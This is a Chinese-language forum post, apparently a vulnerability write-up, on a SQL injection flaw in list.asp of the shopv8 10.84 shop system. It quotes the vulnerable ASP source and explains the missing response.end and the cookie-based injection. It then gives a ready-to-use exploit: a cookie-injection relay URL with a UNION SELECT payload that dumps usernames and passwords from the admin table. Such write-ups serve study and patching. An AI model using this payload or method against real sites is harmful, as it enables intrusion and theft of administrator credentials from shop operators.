程序 ：shopv8商城系统10.84

下载：http://www.codepub.com/software/view-software-7161.html

漏洞文件：list.asp

部分源码：

<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>

<%dim bookid,action
bookid=request.QueryString("id")
action=request.QueryString("action")
if action="save" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_pinglun",conn,1,3
rs.addnew
rs("bookid")=bookid
rs("pingji")=request("pingji")
rs("pinglunname")=HTMLEncode2(trim(request("pinglunname")))
rs("pingluntitle")=HTMLEncode2(trim(request("pingluntitle")))
rs("pingluncontent")=HTMLEncode2(trim(request("pingluncontent")))
rs("ip")=Request.servervariables("REMOTE_ADDR")
rs("pinglundate")=now()
rs("shenhe")=0
rs.update
rs.close
set rs=nothing
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_books where bookid="&bookid,conn,1,3
rs("pingji")=rs("pingji")+1
rs("pingjizong")=rs("pingjizong")+request("pingji")
rs.update
rs.close
set rs=nothing
response.Write "<script language=javascript>alert('您的评论已成功提交！');history.go(-1);</script>"
response.End
end if
%>

<!--#include file="webtop.asp"-->
<TABLE cellSpacing=0 cellPadding=0 width=772 align=center border=0>
  <TBODY>
    <TR>
     <td width="1" background="image/images/bgbg.gif"></td>
      <TD class=b vAlign=top align=left width=770><table width="770" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">
        <tr>
          <td width="178" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><!--#include file="history.asp"-->
              <!--#include file="gouwucheinfo.asp"-->
              <!--#include file="xiaoshourank.asp"-->
          </td>
          <td valign="top" class="table-zuo" align="center" bgcolor="#FFFFFF" bordercolor="#FFFFFF"><%set rs=server.createobject("adodb.recordset")
rs.open "select * from shop_books where bookid="&request("id"),conn,1,3
if rs.recordcount=0 then
%>

其中，if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"

没有以response.end结束，那么request("id")，我们也可以使用cookies给id赋值，那么注入就产生了。

只要把IE的安全设置设到最高，就可以阻止网页跳转到index.asp页面了。

（不知道这里的这样分析对不对，请大家指点）

利用方法:

先把安全设置设为最高，

注入点 http://127.0.0.1:99/list.asp?id=322

直接用注入中转器生成个页面，暴用户名和密码，如图

http://127.0.0.1:99/jmCook.asp?jmdcw=322%20and%201=2%20union%20select%

201,2,3,4,5,6,7,8,9,10,11,12,13,username,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,

34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53%20from%20admin

 

form：流浪的风